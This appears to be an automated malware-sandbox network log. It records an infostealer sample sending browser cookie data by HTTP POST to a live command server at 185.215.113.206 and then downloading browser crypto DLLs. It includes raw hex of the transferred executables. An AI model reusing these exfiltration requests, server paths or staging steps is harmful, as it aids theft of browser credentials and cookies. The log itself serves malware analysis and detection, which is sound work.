Dec 10, 2024 02:50:05.164778948 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 10, 2024 02:50:05.164896965 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 10, 2024 02:50:05.168946028 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49725	185.215.113.206	80	7096	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:50:14.349432945 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJ Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IDAAFBGDBKJJJKFIIIJJ--
Dec 10, 2024 02:50:16.216921091 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 10, 2024 02:50:16.325437069 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGDGDHDGDBFIDHDBAF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="file"------KJDGDGDHDGDBFIDHDBAF--
Dec 10, 2024 02:50:16.635946989 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGDGDHDGDBFIDHDBAF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="file"------KJDGDGDHDGDBFIDHDBAF--
Dec 10, 2024 02:50:17.251812935 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49763	185.215.113.206	80	7096	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:50:29.170383930 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIEHJDBKJKECBFHDGHJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="file"------FIIEHJDBKJKECBFHDGHJ--
Dec 10, 2024 02:50:30.995321989 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 10, 2024 02:50:31.330813885 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 10, 2024 02:50:31.767780066 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 10, 2024 02:50:31.767894030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 10, 2024 02:50:31.767909050 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 10, 2024 02:50:31.768302917 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 10, 2024 02:50:31.768313885 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 10, 2024 02:50:31.768325090 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 10, 2024 02:50:31.768337011 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 10, 2024 02:50:31.769062996 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Dec 10, 2024 02:50:31.769074917 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Dec 10, 2024 02:50:31.769085884 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Dec 10, 2024 02:50:31.776120901 CET	1236	IN	Data Raw: ff ff 89 7d d4 8b 95 e0 fe ff ff 11 d0 89 45 cc 8b 4d a0 31 c1 8b 75 9c 31 fe 8b 5d c4 01 cb 89 5d c4 8b 7d bc 11 f7 89 7d bc 8b 85 7c ff ff ff 31 d8 89 c3 31 fa 0f a4 d0 08 0f a4 da 08 89 d7 8b 55 d4 03 95 40 ff ff ff 8b 5d cc 13 9d 3c ff ff ff Data Ascii: }EM1u1]]}}\|11U@]<U]11lMuuMM11UM EHMM(Eh1]1EEuu]11]
Dec 10, 2024 02:50:33.666208029 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 10, 2024 02:50:34.102889061 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 10, 2024 02:50:35.045283079 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 10, 2024 02:50:35.482021093 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 10, 2024 02:50:36.133654118 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 10, 2024 02:50:36.570010900 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 10, 2024 02:50:39.715272903 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 10, 2024 02:50:40.151843071 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 